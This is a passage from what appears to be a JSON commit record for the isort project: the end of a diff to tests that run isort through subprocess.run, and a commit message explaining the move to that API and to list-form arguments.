assert b'skipped' not in result.stdout.lower()", " result = subprocess.run(", " ['isort', '--filter-files', '--settings-path=conf/.isort.cfg', 'dont_skip.py', 'migrations/file_glob_skip.py'],", " stdout=subprocess.PIPE,", " check=True,", " )", " assert b'skipped 1' in result.stdout.lower()"]}]}}, "msg": "Simplify subprocess use with high level run API\n\nPer the Python docs, subprocess.run() is the preferred interface for\nrunning subprocess and replaces the older API (such as\nsubprocess.check_output())\n\nhttps://docs.python.org/3/library/subprocess.html\n\n> The recommended approach to invoking subprocesses is to use the run()\n> function for all use cases it can handle. For more advanced use cases,\n> the underlying Popen interface can be used directly.\n>\n>\n> The run() function was added in Python 3.5; if you need to retain\n> compatibility with older versions, see the Older high-level API\n> section.\n\nAllows for:\n\n- Return a str from get_output() to decode once instead of every line of\n the result.\n\n- Pass command arguments as a list of strings to ensure no possibility\n for unescaped shell injection."}}}